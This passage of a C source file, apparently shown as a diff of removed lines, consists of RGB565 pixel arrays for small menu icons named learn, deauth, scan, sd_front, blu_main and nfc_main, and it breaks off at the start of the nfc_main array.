-0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x0000,0x58F5,0x58F5,0x0000,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x58F5,0x793C,0x793C,0x58F5,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x388D,0x0000,0x0000,0x388D,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x0802,0x48B1,0x48B1,0x0802,0x895F,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x895F,0x895F,0x2869,0x0802,0x0802,0x2869,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x895F,0x895F,0x815E,0x48B0,0x48B0,0x815E,0x895F,0x895F,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x815E,0x895F,0x895F,0x815E,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x2047,0x2047,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - -const uint16_t learn[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0823,0x306B,0x40AF,0x50D2,0x408E,0x2869,0x0001,0x0000,0x0000,0x0001,0x2869,0x408E,0x50D2,0x40AF,0x306B,0x0822,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x308C,0x308C,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0001,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x0001,0x0000,0x0000, -0x0000,0x388D,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x388D,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x793C,0x895F,0x793C,0x6918,0x60F5,0x6919,0x813D,0x895F,0x58D4,0x58D4,0x895F,0x813D,0x6919,0x60F5,0x6918,0x793C,0x895F,0x793C,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x388D,0x40AF,0x2869,0x308C,0x50D2,0x50D2,0x408E,0x1846,0x2068,0x308C,0x308C,0x2048,0x1825,0x40AF,0x50D3,0x50D2,0x308C,0x2869,0x40AF,0x388D,0x48B1,0x0000, -0x0000,0x48B1,0x58F5,0x58D4,0x793C,0x48B0,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x306B,0x58F5,0x895E,0x58D4,0x58F5,0x48B1,0x0000, -0x0000,0x48B1,0x813D,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x40B0,0x815E,0x48B1,0x0000, -0x0000,0x2047,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x2048,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - - - -const uint16_t deauth[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x306A,0x813D,0x6918,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x6918,0x813D,0x286A,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000, -0x0000,0x286A,0x60F7,0x40AF,0x711A,0x895F,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x895F,0x7119,0x40AE,0x60F7,0x286A,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0801,0x0801,0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x813D,0x0000, -0x0000,0x6918,0x895F,0x895F,0x895F,0x895F,0x815E,0x1023,0x1846,0x58F5,0x815E,0x895F,0x895F,0x815E,0x58F5,0x1846,0x1023,0x815E,0x895F,0x895F,0x895F,0x895F,0x6918,0x0000, -0x0000,0x0801,0x2869,0x1845,0x306B,0x815E,0x50D3,0x308B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x50D3,0x815E,0x306B,0x1845,0x2869,0x0001,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x1846,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1846,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x711A,0x793B,0x2869,0x306B,0x711A,0x895F,0x895F,0x711A,0x306B,0x2869,0x793B,0x7119,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x308C,0x6918,0x711A,0x1845,0x815E,0x815E,0x1845,0x711A,0x6918,0x308C,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x306B,0x60F7,0x813D,0x2048,0x793B,0x793B,0x2048,0x813D,0x60F7,0x306B,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x793B,0x306B,0x2869,0x50D3,0x50D3,0x50D3,0x50D3,0x2869,0x306B,0x793B,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x60F6,0x286A,0x286A,0x60F7,0x895F,0x895F,0x895F,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x1846,0x60F7,0x895F,0x895F,0x40B0,0x1024,0x1024,0x48B0,0x895F,0x895F,0x60F7,0x1845,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0801,0x2869,0x1845,0x306B,0x815E,0x793B,0x306B,0x0802,0x793C,0x895F,0x813D,0x813D,0x895F,0x793C,0x0802,0x306B,0x793B,0x815E,0x306B,0x1845,0x2869,0x0801,0x0000, -0x0000,0x6918,0x895F,0x895F,0x895F,0x895F,0x815E,0x2047,0x0000,0x68F7,0x2048,0x50D3,0x50D3,0x2048,0x60F7,0x0000,0x1847,0x815E,0x895F,0x895F,0x895F,0x895F,0x6918,0x0000, -0x0000,0x813D,0x895F,0x711A,0x895F,0x895F,0x306B,0x0000,0x0000,0x0001,0x0000,0x0001,0x0001,0x0000,0x0001,0x0000,0x0000,0x306B,0x895F,0x895F,0x711A,0x895F,0x813D,0x0000, -0x0000,0x286A,0x48B1,0x40AF,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x895F,0x895F,0x40AF,0x48D1,0x286A,0x0000, -0x0000,0x0000,0x0000,0x60F7,0x895F,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x60F7,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x286A,0x815E,0x6918,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x6918,0x815E,0x286A,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - -const uint16_t scan[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x388D,0x50D3,0x60F6,0x60F6,0x50D3,0x388D,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x1825,0x6919,0x895F,0x895F,0x895F,0x813D,0x48B0,0x2869,0x2869,0x48B0,0x813D,0x895F,0x895F,0x895F,0x6919,0x1825,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x306A,0x815E,0x895F,0x895F,0x895F,0x6918,0x0802,0x0000,0x0000,0x0000,0x0000,0x0802,0x6918,0x895F,0x895F,0x895F,0x815E,0x286A,0x0000,0x0000,0x0000, -0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x813D,0x0802,0x0000,0x0823,0x408E,0x388E,0x0822,0x0000,0x0802,0x813D,0x895F,0x895F,0x895F,0x895F,0x308C,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0823,0x793D,0x895F,0x895F,0x793D,0x0822,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000, -0x0823,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x408E,0x895F,0x895F,0x895F,0x895F,0x388E,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x0823, -0x0823,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000,0x388E,0x895F,0x895F,0x895F,0x895F,0x408E,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x0823, -0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0802,0x793C,0x895F,0x895F,0x793C,0x0822,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x2869,0x0000, -0x0000,0x0000,0x308C,0x895F,0x895F,0x895F,0x895F,0x813D,0x0802,0x0000,0x0802,0x388E,0x408E,0x0822,0x0000,0x1023,0x815E,0x895F,0x895F,0x895F,0x895F,0x308B,0x0000,0x0000, -0x0000,0x0000,0x0000,0x286A,0x815E,0x895F,0x895F,0x895F,0x6918,0x0802,0x0000,0x0000,0x0000,0x0000,0x1023,0x6919,0x895F,0x895F,0x895F,0x815E,0x286A,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x1025,0x6919,0x895F,0x895F,0x895F,0x813D,0x48B0,0x286A,0x2869,0x48B0,0x815E,0x895F,0x895F,0x895F,0x6918,0x1025,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1825,0x388D,0x50D3,0x60F5,0x60F5,0x50D3,0x388D,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - -const unsigned short sd_front[256]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1024,0x50D2,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x1846,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x306B,0x793C,0x50D2,0x895F,0x48B1,0x815E,0x58D4,0x711A,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x306B,0x6918,0x1023,0x895F,0x0000,0x793C,0x2047,0x58D4,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x308C,0x711A,0x306B,0x895F,0x2048,0x793D,0x388E,0x60F7,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1846,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x1846,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - const uint16_t blu_main[576]= { - - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x306B,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40B0,0x895F,0x793B,0x388D,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x58F5,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x895F,0x793B,0x388C,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x1825,0x0000,0x0000,0x0000,0x58F5,0x895F,0x815E,0x711A,0x895F,0x895F,0x895F,0x58F4,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1024,0x7119,0x813D,0x388D,0x0000,0x0000,0x58F5,0x895F,0x793C,0x2047,0x40AF,0x813D,0x895F,0x895F,0x7119,0x1024,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1846,0x813D,0x895F,0x815E,0x388D,0x0000,0x58F5,0x895F,0x793C,0x1024,0x0000,0x50D2,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388E,0x815E,0x895F,0x815E,0x388D,0x58F5,0x895F,0x793C,0x1025,0x308C,0x813D,0x895F,0x815E,0x388E,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x815E,0x895F,0x813D,0x793D,0x895F,0x793C,0x48B1,0x813D,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AE,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x408E,0x815E,0x895F,0x813D,0x793D,0x895F,0x793C,0x48B1,0x813D,0x895F,0x815E,0x408E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x388E,0x815E,0x895F,0x815E,0x388C,0x58F5,0x895F,0x793C,0x1025,0x308C,0x813D,0x895F,0x815E,0x388E,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1846,0x813D,0x895F,0x815E,0x388C,0x0000,0x58F5,0x895F,0x793C,0x1024,0x0000,0x50D2,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1024,0x7119,0x793D,0x388D,0x0000,0x0000,0x58F5,0x895F,0x793C,0x2047,0x40AF,0x813D,0x895F,0x895F,0x7119,0x1024,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x1825,0x0000,0x0000,0x0000,0x58F5,0x895F,0x815E,0x711A,0x895F,0x895F,0x895F,0x58F4,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x895F,0x793B,0x388C,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58F5,0x895F,0x895F,0x895F,0x58F5,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40B0,0x895F,0x793B,0x388D,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x306B,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - const uint16_t nfc_main[576]= { - - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0801,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x58F5,0x48B1,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x915F,0x813D,0x2047,0x0000,0x0000, - 